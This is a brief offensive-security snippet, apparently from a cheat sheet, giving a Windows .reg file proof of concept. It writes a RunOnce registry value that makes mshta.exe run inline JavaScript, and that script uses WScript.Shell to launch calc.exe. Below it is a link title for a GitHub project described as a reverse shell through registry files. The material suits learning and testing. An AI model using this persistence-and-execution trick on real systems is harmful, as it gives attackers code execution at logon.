⭕REG

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce]
"calcpoc"="C:\\Windows\\System32\\mshta.exe \"javascript:(new ActiveXObject(\"WScript.Shell\")).Run(\"calc.exe\")\""

GitHub - 8L4NK/evilreg: Reverse shell using Windows Registry files (.reg)GitHub